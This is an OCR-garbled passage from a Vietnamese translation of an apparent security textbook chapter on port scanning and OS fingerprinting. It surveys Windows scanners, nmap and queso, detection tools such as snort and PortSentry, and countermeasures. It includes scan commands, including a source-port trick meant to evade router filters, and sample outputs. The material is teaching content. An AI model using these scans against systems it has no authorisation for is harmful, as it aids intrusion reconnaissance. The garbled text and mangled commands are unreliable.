rat hitu hiéu trong viéc bé qua dwoc cac thiét bi kiém soat truy nhap ciling nhu
an di thong tin cua ban nhung no lai la moét qua trinh dién ra chim chap. Hon
nita mot so phién ban may chu FTP mo1 khong cho phep thuc hién hinh thuce
nay.

Chung ta vira mo1 gio1 thieu nhiing cong cu can thiét dé thuc hién quét
m:}ng, nhung ching ta cfing can phai biét cach phén tich dit liéu thu duoc tir
mol cmng cu nay. Cho du dung cn:rng cu nao di chang nira chung ta ciling déu
phal xac dinh duoc cac mng mé& dé blet tha::mng tin vé hé diéu hanh. Vi du khi
cong 139 va 135 ¢ trang thai md thi rat nhiéu kha nang hé diéu hanh d6 1a
Windows NT. Windows NT thu‘n:mg nghe trén -::Dng 135 va 139. Piéu nay
khac biét so va1 Windows 95/98 von chi nghe trén cong 139.

Xem lai két qua thu duoc cua strobe (xem phan trude) ta cod thé thay
duoc rat nhiéu dich vu dang chay trén hé thong nay. Néu chung ta co thé tién
hanh doan co co s¢ th1 duong nhu he diéu hanh c6 nhiéu dlem twong dong vai
UNIX. Chung ta co thé két ludn nhu vay boi thlf.‘:t bi ghi cong (portmapper
111), cac cong dich vu Berkeley R (512-514) va cong 3277X tré 1én déu dang
nghe. Su hién hitu cua nhiing cong nhu thé chi ra ring hé théng nay dang chay
UNIX. Ngoai ra néu nhu ta phai doan mui huong cua UNIX thi ta phai doan
Solaris. Chung ta da blet ring Solaris thudong chay cac dich vu trong pham vi
3277X. Can ghi nhé ring chung ta dang gia dinh va ring rat co thé sé 1a loai
he diéu hanh nao khac.

Bang thao tac quet {:Dng TCP va UDP don gian, chung ta co the xac
dinh nhanh chong vé dic diém 10 rd cta hé thc:rng muc tleu Vi du, néu cﬂng
139 dang & trang thai mé trén may chi Windows NT thi cong nay cé thé phai
gép nhiéu rai ro hon. Chuong 5 sé& nghién ctru k§ vé nhitng diém yéu cd hitu
cua Windows NT va cach sir dung duong truy nhap cfmg 139 dé pha v& an
ninh hé thﬂng von khong cé bién phap bao mat hop li chong lai su truy nhap
vao cac cong nay. Trong vi du, hé thn::rng UNIX cling trong tinh trang nguy
hiém do nhiing dich vu dang nghe cung cap nhiéu tinh ning va di 16 rd nhing
diém yéu bao mat. Vi du cac dich vu Remote Procedure Call (RPC) va dich vu
Network File System (NFS) la hai cach ke tin cong pha an ninh may chu
UNIX (xem Chuong 8). Nguoc lai, ke tin cong khong thé pha an ninh cia mot
dich vu tur xa néu dich vu do dang khong ¢ trang thai nghe. Do vay chung ta
can chu ¥ ring cang nhiéu dich vu chay thi hé théng cang c6 nguy co bi tan
cong.



Cac cong cu quét cong dua trén Windows

Chung ta da tim hiéu kha k}f vé nhiing thiét bi quét cong trén phuong dién cua
mot d6i twong st dung nhung diéu dé coé nghia 1a nhitng d6i twong st dung
Windows khong thé tham gia vao cudc choi khong? L& duong nhién la khong
roi — cac cong cu quét ccmg sau day d3 tré thanh nhitng cong cu hang dau cia
chung to1 do su uu viet ve toc do, tinh chinh xac va cac tinh nang khac.

NetScanTools Pro 2000 (cong cu quét NetScan cho Pro 2000)

La mot trong nhitng céng cu khiam pha mang da ning nhat hién nay,
NetScanTools Pro 2000 (NSTP2K) cung cap moi tién ich tuyét voi trong mét
giao dién: DNS query bao gdém cé nslookup va dig véi axfr, whois, ping
sweeps, NetBIOS name table scans, SNMP walk...Ngoai ra né con cé thé
thuc hién dong thoi nhiéu tinh ning. Ban cé thé quét cong trén mdt mang
dong thoil quét ping trén mot mang khac. (Mic dau vay tinh ning nay ciing
khong hoan toan dang tin cay khi lam viéc vo1 nhitng mang 1dn, trir phi ban
phai thuc su kién nhan).

NetScanTools Pro 2000 cling bao gdm ndt trong nhitng thiét bi quét
cong dua trén Windows tot nhat hién nay, trén phim tab Port Probe. Cac tinh
nang cua Port Strobe bao gnm cé muc tiéu dong va xic dinh cong (ca danh
sach cong va IP muc tiéu déu c6 thé dwoc nhép tir nhiing file van ban nay), ho
tro quet TCP va UDP (méc dau kh::}ng Iira chon tirng céng mot) va tdc do da
lang Xet vé mit trai thi két quéa thu duoc ctia Port Strobe c6 vé hoi ric r6i
khién rat khé phan tach bang script hodc cac cong cu phan tach dir liéu. Bac
tinh cta Port Strobe khong cho phép cai dit script. Chung ta mong muon la
két qua cha mot chirc ning c6 thé duwoc nhip truc tiép vao mot chirc ning
khac.

No6i chung, NSTP2K (http://www.nwpsw.com) la mdt san pham duoc
viét rat chuyén nghi€p thuong xuyen duoc cap nhat bing nhung service pack,
tuy vay van con kha khiém t6t khi xét dén phuwong dién canh tranh. Mot phién
ban it tinh ndng hon co tén NetScanTool (hién dad co phién ban 4) hién dang
tién hanh thit nghiém trong vong 30 ngay nhung né van khong cé nhitng tinh
ning twong tu nhu cia Pro 2000. (Vi du né khong thé quét UDP).

Khi su dung NSTP2K, chu y vo hieu hoa may chu ident trén phim tab
May chi IDENT qua d6 gitip ban khéng nghe trén cong TCP 113 khi ban tién
hanh pha. Hinh 2-3 minh hoa NSTP2K dang quet mot vung mang cﬁp trung
binh.
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Hinh 2-3. Cac cong cu NetScan Pro 2000 la
mot trong nhltng cong cu tham do mang
/thiét bi quét cong dua trén Windows cé toc
d6 cao nhat.

SuperScan

SuperScan, cua Founstone, dwoc gid1 thifu trén dia  chi
http://www.foundstone.com/rdlabs/termsofuse. php?tilename=superscan.exe.
Day la mot thiét bi quet cong TCP d6¢c d6 cao véi gia phai ca phai ching hoic
mien phi. Cling giong nhu NSTP2K, thiét bi nay ciing ¢ tinh ning xac dinh
danh sach cong va IP muc tieu dong. Lua chon Extract From File dac biet tien
lo1 (xem hinh 2-4). Thong tin chi tiét duoc miéu ta trong phan he thﬂng tro
gmp Ghung to1 gio1 thiéu so qua dé cac ban co thé thay ro rang day la mot
cong cu tiét kiém thoi gian:

“[Tinh ning Extract From File] tién hanh quét qua bat mét file vin ban
nao va trich cac dia chi IP va hostname hop 1€ Chuong trinh nay dac biét
thong minh khi tim kiém nhiing hostname hop 1é tir vin ban tuy nhién déi khi
né doi hoi trude d6 phai loai bd vin ban ric roi bang mot trinh soan thdo ngoai
hé thdng. Ban cé thé click vao Browse va Extract bao nhiéu lan tuy thich st
dung nhiing file khac nhau va chuwong trinh nay s€ nhap hostname moi vao
danh sach. Bat ky mot hostname nao trung 1ip s& bi loai bé. Khi da tim thay
tit ca cac hostname ban c6 thé click vao nut Resolve dé chuyen tt ci cac
hostname thanh dia chi IP dang s6 chuan bi cho thao tac quét cong.”
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Hinh 2-4: Tinh nang SuperScan
Extract From File dac biét tien lg1. Chi
vao bat ky moét file vin ban nao, va
nhip hostname va dia chi IP dé chuan
bi tién hanh quét cong

Thao tic quéa la rat d& dang nhu chung tdi d3 minh hoa trong Hinh 2-4.
SuperScan cling dua ra mot vai danh sach cdng kha day du nhu ta vira thay.
(ching ta b1 16i cubn béi danh sach co tén henss.Ist, tuy nhién néu ban ghi
tung chit cai dau tién ciia mdi tir trong tiéu dé cla cudn sach nay thi ta thay
ring minh d3 c6 phan thién vi -cam on Robin.) Cac cong c6 thé duoc lua
chon thu cong bo chon dé tim ra cot 151 thuc su. SuperScan cling co tdc do rat
cao.

WinScan

WinScan, cua Sean Mathias thudc Prosolve (http://www prosolve.com) la mot
cdng cu quét mién phi ¢ ca phién ban hinh hoa (winscan.exe) va dong lénh
(scan.exe). Thong thuong chung ta sit dung phién ban dong lénh trong ban ghi
do tinh ning quét cac mang c& Class C va két qua dé phan tach. St dung phién
ban Win32 cua cac tién ich strings, tee va tr cua Cong ty Mortice Kern
Systems (http://www.mks.com), lénh NT sau s& tién hanh quet toan mang tim
kiém céc cong Well Known tir O cho dén 1023 va nhap két qué thu duoc vao
mdt cac cOt duwoc gidi han béi dau hai chdm ctia dia chi IP:
service nameport #pairs.

Scan.exe -n 192.168.70 -s 0 -e 1023 -f |strings | findstr /c:”/tcp” | tr\
011\040 : |tr -s: :|tee -1a results.txt

Ta khong nén st dung khoa chuyén do1 —f cua scan.exe vi két qua thu duoc co
.E. Fa k! ] ¥ r
the khong hoan toan chinh xac.



Két qua ban ghi tuong tu nhu sau:

192.168.22.5: nbsession: 139/tcp

192.168.22.16: nbsession: 139/tcp

192.168.22.32: nbsession: 139/tcp

Cam on Patrick Heim va Jason Glassberg vi da tao ra nhitng dong lénh tuyét
vO1 nay.

ipEye

Ban c¢6 can Linux va nmap dé tién hanh quét cac géi tin la khong? Hiy suy
nghi k§ - 1ipEye cua Arne Vidstrom tai dia chi http:/ntsecurity.nu sé tién
hanh quet céng nguﬁn, cling nhu SYN, FIN va Xmas thong qua dong lénh
Windows. Nhuoc diém duy nhét cta cong cu nay 1a né chi chay trén Win2000
va chi cé thé quét duoc mét may chu ta1 mot thoi diém. Sau day la mot vi du
ipEye dang quet SYN c6 ngudn la cong TCP 20 nhim xam nhap cac quy tic
bd loc trén mot cau dan, cling twong tu nhu lua chon d6i s6 -p trong nmap:
C:\Toolbox>1peye.exe 192.168.234.110 -syn -p 1 1023 -sp 20

IpEye 1.1 - (C) 2000, Arne Vidstrom ( arne.vidstrom(@ntsecurity nu)
- http://ntsecurity.nu/toolbox/ipeye/

1 — 52 | closed or reject]

53 [open]

54 - 87 |closed or reject]
88 [open]

89 - 134 [closed or reject]
135 [open]

136 - 138 [closed or reject]
139 [open]|

636 [open|
637 - 1023 [closed or reject]
1024 — 65535 [not scanned]

Do ¢6 nhiéu cau din va firewall ACL duoc cau hinh nhim cho phép cac giao
thurc nhu DNS (UDP 53), kénh di lieu FTP (TCP 20) SMTP (TCP 2‘3) va
HTTP (TCP 80) dé lot qua cac bo loc, thao tac quet cong ngumn cé thé xam
chiém cac thiét bi diéu khién bing cach danh lira véi tu cach la lumng thong tin
di vao. Ban phai biét dau cach dia chi ding sau firewall hoic cau dan. Tuy
nhién co duoc thong tin nay cling kho mot khi cong cu NAT duoc st dung

(NetBIOS Auditing Tool).



WUPS

Thiét bi quét cdbng UDP (WUPS) cling 1a sian phim cda cing mdt tac gia
(Arne Vidstrom) tai dia chi http://ntsecurity.nu. Day la mot cong cu quét cong
UDP ¢6 dd tin ciy cao (phu thudc vao delay setting) mic dau né chi cé thé
tién hanh quét timg may chi mot dé 1an lwot phat hién cac cdng. WUPS con la
mot cong cu c¢b tinh ning quét cong UDP nhanh va don 1&, nhu minh hoa
trong Hinh 2-5.

Port Scanning Breakdown (Sw cu quet cnng)

Bang 2-2 lét ké cac C{Jng cu quét cong pho thong cung véi nhitng hinh thirc
quet cua cac cong cu nay.

@ Bién phap doi pho Quét mng

Tham do K& tan cong thuong tién hanh quét cong nhim xac dinh cac cong
TCP va UDP dang nghe trén mot he thong tir xa. Thim do va phat hién hoat
dong quet cong la cong viée rat quan trong dé biét duwoc thoi diém va doi
twong tin cong. Cac phuong phap co ban dung dé phat hién quét cong la
nhitng chuong trinh IDS dwa trén mang vi du nhu chuong trinh RealSecure va
snort cua Security System.

Snort (http://www.snort.org) la mot IDS tuyét vo1 do day 1la mot chuong
trinh mién phi va chit ky thuong xuyén cé cac chit ky cia cac tac gia khac.
Bay gio ban di co thé doan ra, day la mot trong nhiing chuwong trinh duoc yéu
thich. (chu y la phién ban snort 1.x khong co6 tinh nang phan chia go1 tin.) Sau
day 1a mot bang mau mot 1an quét cong.

[**] spp_portscan: PORTSCAN DETECTED from 192.168.1.10 [**]

05/22 — 18: 48: 53.681227

[**] spp_portscan: portscan status from 192.1681.10: 4 connections across 1 hosts: TCP (0) UDP
4) [**]

05/22 - 18:49:14. 180505

[**] spp portscan: End of portscan from 192.168.1.10 [**]

05/22 - 18:49: 34/180236

Xet tréen phuong dien UNIX dwua trén may chu, co mot vair tien ich nhu
scanlogd (http://www.openwall.com/scanlogd/) cua Solar Designer co thé phat
hién va ghi la1 nhitng cudc tan cong nhu vay. Ngoai ra, Psionic PortSentry cua




du an Abacus (http://www.psionic. mmfabacusr’) cé thé duoc hay dung cau
hinh dé phat hién va thong bao phan hoi d6i vo1 nhiing cude tan cong dang
dién ra. Cé mdt cach dap tmg lai thao tac quét cong do 1a tu dong thiét 1ap céc
quy tic loc nhan cho phép nhip mét quy tic ngin chin truy nhip tir mot hé
thong tan cong. Ta cé thé thiét 1ap mdt quy tic nhu vay st dung file cau hinh
PortSentry, tuy nhién cé thé thay ddi theo timg hé thong. Pbi vdi hé thong
Linux 2.2 véi ho tro kernel firewall, dudng vao file portsentry.conf ¢6 dang:

# New 1pchain support for Linux kemel version 2.102+
KILL ROUTE="/sbin/ipchains -Iinput -s STARGETS -} DENY -L”

PortSentry tuan thu va chay trong hau hét cac mo1 trrong UNIX bao gom co
Solaris. Cling can luu ¥ ring néu ban thay xuét hién mo hinh quet cong tur mot
hé théng hoic mot mang nao dé thi didu dé chi ra ring cé doi twong dang tién
hanh pha hoal mang trén site cua ban. Chu y theo dd1 sat xao hanh dong nhu
vy, c6 thé sip c6 mot cudc tin cdng téng thé. Cubi cung ban can ghi nho ring
cling co nhiing diém bat lo1 khi tra dlia hodc ngan chan nhiing no luc quet
m::rng Van dé 1a & chd ké tan cong co thé kiém chu*ng dia chi IP cua mot he
tthg khong l1én quan, do vay hé tthg ctia ban c6 thé tra diia. Ban c6 thé tim
hiéu mot tar li€u tuyét vor cua Solar Designer tai dia chi
http://www.openwall com/scanlogd/P53-13.gz va mdt sd thong tin hitu ich
khac vé thiét ké va tan cong cac hé thong thim do quét cong.

Hau hét cac c6 thé va can duoc dinh cau hinh nham phat hién cac nd luc
quét cong. Poi véi tinh ning phat hién quét 1én thi mot s6 cong cu td ra vuot
chéi hon. Vi du, nhiéu firewall ¢6 nhiing lwa chon cu thé nhdm phat hién quét
cong SYN trong khi d6 lai hoan toan bo khong c¢o tinh nang quet FIN. Cong
viéc kho khin nhit dé phat hién quét cong la sang loc céc file ban ghi: vi vay
chung to1  khuyén ban nén st dung Psionic  Logcheck
(http //www.psionic.com/abacus/logcheck/), ngoai ra ban ciling nen cau hinh
thiét bi bao dong dung lac qua mail. Sur dung threshold logging néu cé thé nho
d6 doi twong s& khong tién hanh tan cong khude tir dich vu bang cach lap day
email cua ban. Threshold logging s€ nhom lai1 cac bao dong chu thﬂg feqbs|
mot bao dong dé kiém tra. It nhat ban cling phai co tinh nang bao cao dua trén
trrong hop ngoai 1€ co thé chi ra site ctia ban duoc quet cﬂng Lance Spitzner
(http://www enteract.com/~Ispitz/intrusion html) sang tao ra mot tién ich danh
cho Firewall —1 ¢6 tén alert.sh, c6 tinh ning phat hién va kiém tra quét cong
bang Firewall —1 va chay nhu mot User Defined Alert.

Xét trén phuong dién Windows NT, c¢é mot s6 tién ich don gian cé thé
st dung dé phat hién quét cong. Thiét bi thim do quét cong dau tién do la
Genius 2.0 cua Independent Software (http://www.indiesoft.com - Genius 3.0
duoc gio1 thi€u tar dia chi  hitp://www.indiesoft.com/) dung cho Windows
95/98 va Windows 4.0. San phim nay khong chi ¢é tinh ning phat hién quét




thuan tuy TCP tuy nhién cai dit n6 vao hé thdng ctia ban cé 1& chi dé thuc hién
chitc ning nay ma thoi. Genius sé ling nghe cic yéu cau cong trong mot
khoang thoi gian cho trudc va canh bao ban b::"ing mot hop thoai khi phat hién
ra mot thao tac quet, thong tin cho ban vé dia chi IP va tén cda ké tan cong.

Tinh ning phat hién quét cong ctia Genius phat hién ca nhitng thao tic quét
SYN va két ndi TCP.

MObt thiét bi phat hién quét cong nita cho Windows la BlackICE (xem
Bang 2-6) cua Network ICE (http://www.networkice.com). Day la san phé?im
phat hien dot nhap dwa tren tac nhan thue sur cho Windows 9x va NT. Mac dau
hién nay san pham mang tinh thuong mai nhung Network ICE co ke hoach
cung cap nhimg phien ban mién phi tar xuong tu mang. Cudi cung,
ZoneAlarm (http://www.zonelabs.com/) la mot chuong trinh rat hitu hieu cung
cap firewall va tinh ning IDS cho nén Windows. Moi st dung ca nhan san
pham nay déu duoc mién phi.

Ngan chan Mic dau cong viéc ngan chan mat d6i twong tién hanh thim do
quet cong chmng lai hé thong cla ban la rat kho, nhung ban {:ung c6 thé giam
thiéu rti ro biang cach vo hiéu hoda tat ca cac dich vu khong can thiét. Trong
moi truong UNIX, ban c¢6 thé thuc hién dwoc diéu nay bing cach loai bd
nhitng dich vu khong can thiét nhu /etc/inetd. conf va vé hiéu héa cac dich vu
bit dau bing tlr script khéi dong ctia ban. Thao tac nay s& dwoc dé cip cu thé
hon trong Chuong 8.

Bfﬁi volr Windows NT, ban cling can phai vo hiéu hda tat ci cac dich vu
khong can thiét. Piéu nay kho hon do phuong thirc hoat dong cua Windows
NT, vi cong 139 cung cap hau nhu toan bo cac tinh nang. Tuy nhién ban cling
c6 thé vo hiéu hoa mot s6 dich vu ngay trong trinh don Control Panel |
Services. Chi tiét vé nhitng rii ro Windows NT va nhitng bién phap d6i pho sé
duoc thao Iluan trong Chuong 5. Ngoar ra, Tiny Software
(www tinysoftware.com) co ban ra mot modun nhan loc cac go1 tinn tuyét voi
cho Windows NT co tinh nang bao vé cac cé‘:ng nhay cam cua ban.
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Hinh 2-6. BlackICE cung cap mdt so
chit ky tham do dot nhap wu viét ngoai
tinh ning phat hién quét cong TCP don
gian, bao gom UDP scan, NT null
session, pcAnywhere ping, cac cudc tan
cong WinNuke, ECHO storms, ..

P61 voi cac thiét b1 va cac hé diéu hanh khac, ban can tham khao cuén hudng
dan st dung dé giam so luong cong nghe xudng mitc can thiét.

THAM DO HE DPIEU HANH
Nhu chung ta da tim hleu c6 rat nhiéu cong cu cling nhu thu thuat quet cong.

Neu nhé lai thi ta thay ring muc tiéu s6 mét cia quét cong d6 la xac dinh céc
ccmg TCP va UDP nghe trén he thc}ng muc tieu. Nhiém vu cua chung ta trong

phan nay la xac dinh loa1 hé diéu hanh ma chung ta dang quet.

® Phat hién hé dieu hanh dang hoat dong

Tinh pho thong 10
Tinh don gian
8
Tinh hiéu qua
4
Mbukc do rui ro
7’

Mﬁng thong tin vé hé diéu hanh cu thé c6 thé hitu ich cho qua trinh anh xa
diém yeu, s€ dugc dé cap ky trong cac chucmg tiép theo. Chung ta can phai
nho rang chung ta dang c6 gang xac dinh vor muc d6 chinh xac cao nhat
nhitmg diém yéu hé thong muc tiéu. Do vay, ta vao kha ning cé thé xac dinh



duoc hé diéu hanh muc tiéu. Chung ta cé thé st dung thu thuit banner
orabbing nhu d3 dé cép trong Chuong 3, von cho phép ta tim kiém duoc thong
tin tr nhitng dich vu nhu FTP, telnet, SMTP, HTTP, POP ... DPay la cach don
oian nhat cé thé phat hién mo6t hé diéu hanh va s6 phién ban lién quan cta
dich vu dang chay. Puong nhién la s€ c6 nhiing cong cu chuyén dung giup
chting ta thuc hién cdng viéc nay. 2 cdng cu chinh xac nhat ma ching ta co thé
sir dung tuy v d6 1a nmap va queso, ca hai cong cu nay déu c6 tinh ning thim
do ngin xép (stack fingerprinting).

Active Stack Fingerprinting (Tham do ngan Iép dang hoat dong)
Truoc khi ta st dung nmap va queso, ta cling can phai gidi thich stack
fingerprinting la gi. Stack Fmgerprmtmg la mot cong ngheé cuc manh cho phep
ban nhanh chong xac dinh duoc hé diéu hanh véi mirc dd xéc xuat cao. Ve ban
chat co nhlmg sac thai thay dm '[11}’ theo tinh nang thuc thi ngan xep ctia moi
nha cung cap. Cac nha cung cap san pham thuong hiéu su chi dan RFC theo
nhitng ¥ khac nhau khi tién hanh viét cac ngin xép TCP/IP. Do vay bing cach
tim hiéu k§ nhitng su khac biét d6 chung ta cé thé dua ra duoc du doan co co
s& veé viée hé diéu hanh nao dang hoat déng. D¢ dat duoc do tin cdy & muc doi
ta, stack fingerprinting thong thuong do1 hor 1t nhit mot cong nghe. Nmap co
thé dwa ra dugc du doan co co s¢ ve he diéu hanh dang hoat dong néu khong
¢ cbng nao & trang thai mé. Tuy vay do chinh cac cua nhiing du doan do la
twong d6i thap. Mdt tai liéu chuyén dé do Fyodor viét duoc xuit ban 1an dau
tien trong Phrack Magazine, va duoc gio1 thieu tar dia chi
http://www .insecure.org/nmap/nmap-fingerprinting-article html.

Ta cung tim hiéu cac hinh thirc thim do gitip phan biét cac hé diéu hanh
khac nhau:
VFIN probeMbt géi tin duoc giri téi mot cong md. Nhu di dé cap trong phan
truée, RFC 793 cho thay su van hanh chinh xac s& khong dap tng. Tuy nhién
cidc bo xung ngin xép (vi du nhu Windows NT) c6 thé dap tmg lai bang mot
FIN/ACK.
m Thim do co hiéugia Mét co hiéu TCP khéng xac dinh duoc thiét lap
trong phan TCP header cua mot gor tin SYN. Mot s6 hé diéu hanh, vi du nhu
Linux, s€ phan hoi la1 co hieu trong go1 tin phan hoi.
m Liy mAiu thtr tu s6 dau tién (ISN)  Tién dé co ban dé 1a tim klem mot mo
hinh trong chudi dau tién duoc chon khi TCP dép tng lai mot yéu ciu két ndi.
m Kiém tra “Khéng phén tach bit” Mot s6 hé diéu hanh sé& thiét 1ap tinh
nang “khong phan tach bit” dé ting cuong kha niang hoat dong. Bit nay co thé
dwoc kiém soat nhim xac dinh hé diéu hanh nao c6 hinh thitc hoat déng nhu
vay.
m Kich ¢& ctra s6 dau tién TCP Kich ¢& ctra sd dau tién trén goi tin gt lai
duoc theo d&i. Do1 vdi mot sO stack implementation thi kich ¢& nay la dac
trung duy nhat va c6 thé lam ting d6 chinh xac cta co ché theo dai.



m Gia trn1 ACK Cac ngin IP khéac biét vé gia tri chudi ma chung st
dung cho truong ACK, vi thé mot sb 1an chay s€ gui tro lai s thir tw ma ban
d3 gt trude d6, va mot s6 1an chay khac s& gt trd lai s6 thir tw +1.

m Chiin ding thong diép 161 ICMP  Cac hé dieu hanh c6 the theo g6t RFC
1812 (www 1ietf.org/rfc/rfc1812.txt) va han ché ti 1€ cac thong diep 161 bi gu1
di. Bang cach gu1 nhitng go1 tin UDP to1 mot cong danh s6 thir tu cao ngiu
nhién, ban cé thé dém s6 lwong cac thong diép khong thé gl di trong mot
khoang thoi gian nhat dinh.

m Trich din thong diep ICMP Céac hé diéu hanh khac nhau ¢ SO luong
thong tin dwoc trich dan khi ‘gap phai 161 ICMP. Bang cach kiém tra thong
diép dwoc trich din ban cé thé phan nao khing dinh dwoc théng tin vé hé diéu
hanh muc tieu.

m Tinh thong nhat gut1 la1 thong diep 161 ICMP Mot sO stack
implementation c6 thé thay doi IP header khi gui trd lai cac thong diep 161
ICMP. Xem xét k¥ nhitng thay d61 doi véi cac header ban co thé khang dinh
mot s6 théng tin vé hé diéu hanh muc tiéu.

m Loai hinh dichvu (TOS)  D6i véi nhitng thong diép “Khéng thé tdi
cong ICMP”, TOS duoc kiém tra. Hau hét cac stack implementation st dung
0, nhung cé thé thay doi.

m Quan li phan chia (Fragmentation handling) Nhu Thomas Ptacek wva
Tim Newsham di chi rd trong an pham “Insertion, Evasion, and Denial of
Service: Eluding Network Intrusion Detection”
(http://www .clark. netfwrneschhdspaper html), cac gm tin khac nhau quan li
cac phan phén tach chong chéo khic nhau. Mot sb ngin xép sé ghi chen di
liéu m&i 1én dit lidu cli va nguoc lai khi cac phan phan tach duoc no1 tro lai.
Bing cach chuy dén cach cac go1 tin tham do duoc noi lai, ban c6 thé biét
duoc mot sb thong tin Ve he diéu hanh.

A Cac lua chon TCP Cac lua chon TCP dugc quy dinh bo1 RFC 793 va
oan day la RFC 1323 (www.ietf org/rfc/rfc1323.txt). Nhitg lua chon tién tién
hon cia RFC 1323 c¢6 thé duoc su dung trong hau hét cac stack
implementation hién nay. Bang cach gui di mot gdi tin bang mdt loat cac lua
chon, vi du nhu no operation, maximum segment size, window scale factor, va
timestamp, ta co thé phﬁn nao khﬁng dinh duoc thong tin vé hé diéu hanh muc
tiéu.

Nmap co6 sur dung nhiing ky thuat ma ta de cap truoc do (ngoai trr quan li
phan tach va xdp xép thong diép 161 ICMP) bing lua chon —0. Hiy cung xem
xet den mang muc tiéu:

[tsunami] nmap -0 192.168.1.10

Starting nmap V. 2.53 by fvodor(@insecure.org
Interesting ports on shadow (192.168.1.10):

Port State Protocol Service




7 open tep echo

0 open tep discard
13 open tep daytime
19 open tep chargen
21 open tep ftp

22 open tep ssh

23 open tep telnet
25 open tep smtp

37 open tep time
111 open tep sunupc
212 opeén tep exec
513 open tep login
514 open tep shell
2049 open tep nfs
4045 open tep lockd

TCP Sequence Prediction: Class=random positive increments
Difficulty = 26590 (Worthy challenge)

Remote operating system guess: Solaris 2.5, 2.51

Bang vige su dung lua chon stack fingerprint trong nmap, ta co thé chic chin
khing dinh hé diéu hanh. Ngay ca truong hop khong co co cong nao o trang
thai m& trén hé théng muc tiéu thi nmap van cé thé doan cé co s& vé hé diéu
hanh nay.

[tsunami] # nmap —p80 -0 10.10.10.10

Starting nmap V. 2.53 by fyodor(@msecure.org

Warning: No ports found open on this machine, OS detection will be MUCH less reliable
No ports open for host (10.10.10.10)

Remote OS guesses: Linux 2.0.27 - 2.0.32 —-34, Linux 2.0. 35 -36.

Linux 2.1.24 PowerPC, Linux 2.1.76. Linux 2.1.91 -2.1.103.

Linux 2.1.122 -2.1.132; 2.2.0—prel -2.2.2, Linux 2.2 0 —pre6 - 2.2.2-ac5

Nmap run completed - - 1 IP address (1 host up )scanned in 1 second

V1 vay ngay ca khi khong co céng mo thi nmap van c6 thé doan chinh x4c hé
diéu hanh d6 la Linux.

Mot trong nhitng tinh ning wu viét nhat ciia nmap 1a danh sach chit ky
duoc luu trong mot file co tén namp —os fingerprints Mbi 1an mot phiéﬂ ban
nmap mo1 duoc tung ra th1 truong thi file nay lai duoc cap nhat bé xung
nhitng chit k¥ méi. Tai thoi diém CllDI] sach nay duoc viét ra, d3 c6 hang trim
chit k¥ duoc luu danh. Néu ban mudn nhéap thém mét chit k§¥ méi va st dung
tién ich nmap, ban co thé thuc hién tai dia chi http://www.insecure.org:80/cgi-
bin/nmpa-submit.cgi.

Ta1 tho diém cudn sach nay thi dudng nhw nmap 1a cong cu c6 tinh chinh xéc
cao nhat, n6 khong phai 1a céng cu dau tién thuc hién nhiing thu thuat nhu
vay. Queso, ban cO thé tal humng tur
http://packetstrom.securify.com/UNIX/scanners/queso-980922.tar.gz, la mot
cong cu phat hién hé diéu hanh duoc thiét ké trude khi Fyodor nhap tinh nang
phat hién hé diéu hanh vao trong nmap. Can chu ¥ rang queso khong phai la



mot thiét bi quet m:}ng va nochi thuc hién tinh nang phat hién heé dleu hanh
thong qua mot cong don o trang thar mo (c:-:::ung mac dinh 80) Néu CDIlg 80
khong m¢ trén may chu muc tiéu thi ta can xac dinh mét cong dang ¢ trang
thai mo, sé& duoc dé cap trong phan tlep, Queso duoc su dung nhim xac dinh
hé diéu hanh muc tiéu thdng qua cong 25.

[tsunami] queso 10.10.10.20:25
10.10.10.20:25 * Windoze 95/98/NT

@ Cac bién phap ch{mg phat hien He diéu hanh

Phat hien Rat nhiéu trong sO cac cong cu phat hién quet cﬂng da no1 truoc
d6 c6 thé duoc st dung nhim phat hién hé diéu hanh. Mic dau cac cong cu
nay khong chi ra cu thé dang tién hanh quet phat hién hé diéu hanh nmap hay
queso nhung no co thé phat hién mot thao tac quet bﬁng mot loat cac lua chon,
vi du nhu co hiéu SYN.

Ngan chan Chung ta mong muon cé duoc mot thiét ké don gian dé phat hién
hé diéu hanh, tuy nhién day qua la mot van dé nan gia1. Ta hoan toan co thé
pha ma ngudn diéu hanh hoic thay d6i mot tham s6 hé diéu hanh nhim thay
d6i tinh nang ddc trung stack fingerprint. Tuy nhién no ciling co thé anh hudng
¢6 hai dén tinh ning cta hé d1eu hanh. Vi du, FreeBSD 4x hé tro lua chon
nhan TCP_DROP_SYNFIN von duoc st dung dé bo qua go1 tin SYN+FIN
ma nmap sur dung khi tién hanh thim do cac ngin xép. Kich hoat lwa chon nay
c¢6 thé chbéng phat hién hé diéu hanh, tuy nhién né lai phd v& su hd tro
RFC1644.

Ta tin rang chi c6 nhitng Gy quyén an toan hoic nhimg firewall méi
phai quét mang. Theo nhu mot cdu chim ngdn “an toan trong su khé hiéu”
chinh 1a mét vong bao vé dau tién ctia ban. Ngay ca trong trudng hop ké tan
cdng co thé phat hién ra hé diéu hanh thi ching ciing gip nhiéu khé khin khi
truy nhap vao hé thé}ng muc tiéu.

® Cong cu xac dinh hé diéu hanh thu dong
Tinh pho théng 5
Tinh don gian

6
Tinh hiéu qua

4
Murc do rui ro

b




Chung ta vira tim hiéu muc d6 hitu hiéu tinh ning thim do ngin xép dong
trong do co su dung nmap va queso. Ta can luu ¥ rang cac thd thuét phat hién
ngan xép d3 de cap truoc do hoat dong theo dung tinh ning. Chung ta gui cac
41 tin té1 moi hé thong dé xac dinh tinh chat dic trung ctia ngin xép mang
qua do giup ta doan ra he diéu hanh dang hoat dong. Vi ta phai gui cac go1 tin
to1 hé thc::-ng muc tiéu nén mot hé thr.:nng )S dua trén mang cling dé dang xac
dinh ring cudc thim do xac dinh hé diéu hanh d3 dwoc phat dong. Do dé day
khong phai la mot thd thuat ma ké tan cong thuong chon st dung.

Passive Stack Fingerprinting (tham do ngan xep thu dong)

Passive Stack Fingerprinting vé mat khai miem tuong tu nhu active stack
fingerprinting (tham do ngﬁn xép chu déng). Thay vi giti cac goi tin té1 hé
thL::rIlg muc tiéu, ké tan cong kiém tra thu déng thong tin mang nhim xac dinh
hé diéu hanh dang hoat dong. Do do, bang thao tac kiém tra thong tin mang
gifta cac hé thong khac nhau, chung ta cé thé xac dinh duoc hé diéu hanh trén
mot mang. Lance Spitzner da day cong nghién ctru trong Iinh vuc nay va san
phim 12 m6t cudn sach md ta chi tiét két qua cia cong trinh nghién ctru do tai
dia chi http://project.honeynet.org. Bén canh d6 Marshall Beddoe va Chris
Abad da phat trién siphon, mdt cdng cu ciu truc mang, xac dinh hé diéu hanh
va anh xa cong duoc gio1 thieu tar http://www.gravitino.net/projects/siphon.
Bay gio chung ta cung tim hidu phuong thuc hoat dong cua tinh nang tham do
